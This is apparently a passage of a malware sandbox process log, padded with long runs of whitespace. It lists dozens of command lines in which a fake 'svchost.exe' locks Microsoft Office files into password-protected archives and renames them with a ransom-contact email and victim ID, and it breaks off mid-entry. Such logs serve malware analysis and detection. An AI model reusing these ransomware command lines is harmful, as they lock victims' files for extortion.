                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\WinWordLogoSmall.contrast-black_scale-180.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\WinWordLogoSmall.contrast-black_scale-180.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:684
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\WinWordLogoSmall.contrast-black_scale-80.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\WinWordLogoSmall.contrast-black_scale-80.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:3656
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\WinWordLogoSmall.contrast-white_scale-100.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\WinWordLogoSmall.contrast-white_scale-100.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:5920
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\WinWordLogoSmall.contrast-white_scale-140.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\WinWordLogoSmall.contrast-white_scale-140.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:2912
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\WinWordLogoSmall.contrast-white_scale-180.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\WinWordLogoSmall.contrast-white_scale-180.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5068
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\WinWordLogoSmall.contrast-white_scale-80.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\WinWordLogoSmall.contrast-white_scale-80.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:2632
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\WinWordLogoSmall.scale-100.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\WinWordLogoSmall.scale-100.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:3544
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\WinWordLogoSmall.scale-140.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\WinWordLogoSmall.scale-140.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:3984
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\WinWordLogoSmall.scale-180.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\WinWordLogoSmall.scale-180.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:5640
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\WinWordLogoSmall.scale-80.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\WinWordLogoSmall.scale-80.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:4696
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\lpklegal.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\lpklegal.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:3312
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\MANIFEST.XML(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\MANIFEST.XML" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:4972
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\MSIPC\ThirdPartyNotices.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\MSIPC\ThirdPartyNotices.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:948
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\ODBC Drivers\Salesforce\lib\1033\DSMESSAGES.XML(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\ODBC Drivers\Salesforce\lib\1033\DSMESSAGES.XML" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:2728
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\ODBC Drivers\Salesforce\lib\1033\ODBCMESSAGES.XML(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\ODBC Drivers\Salesforce\lib\1033\ODBCMESSAGES.XML" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:2996
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\ODBC Drivers\Salesforce\lib\1033\PGOMESSAGES.XML(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\ODBC Drivers\Salesforce\lib\1033\PGOMESSAGES.XML" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:64
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\ODBC Drivers\Salesforce\lib\1033\SFMESSAGES.XML(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\ODBC Drivers\Salesforce\lib\1033\SFMESSAGES.XML" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1476
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\ODBC Drivers\Salesforce\lib\1033\SQLENGINEMESSAGES.XML(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\ODBC Drivers\Salesforce\lib\1033\SQLENGINEMESSAGES.XML" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1068
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\OneNote\SendToOneNote-PipelineConfig.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\OneNote\SendToOneNote-PipelineConfig.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:3668
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\ONENOTE.VisualElementsManifest.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\ONENOTE.VisualElementsManifest.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:5652
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\osfFPA\addins.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\osfFPA\addins.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:2960
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\OUTLFLTR.DAT(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\OUTLFLTR.DAT" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:5424
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL001.XML(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL001.XML" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1412
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL002.XML(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL002.XML" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1656
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL010.XML(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL010.XML" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:5784
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL011.XML(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL011.XML" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:3484
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL012.XML(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL012.XML" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:5508
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL016.XML(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL016.XML" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:5224
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL020.XML(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL020.XML" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5144
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL022.XML(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL022.XML" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:5964
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL026.XML(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL026.XML" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • Drops file in Program Files directory
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:5768
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL027.XML(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL027.XML" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:5228
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL044.XML(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL044.XML" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1500
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL048.XML(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL048.XML" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:4896
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL054.XML(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL054.XML" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
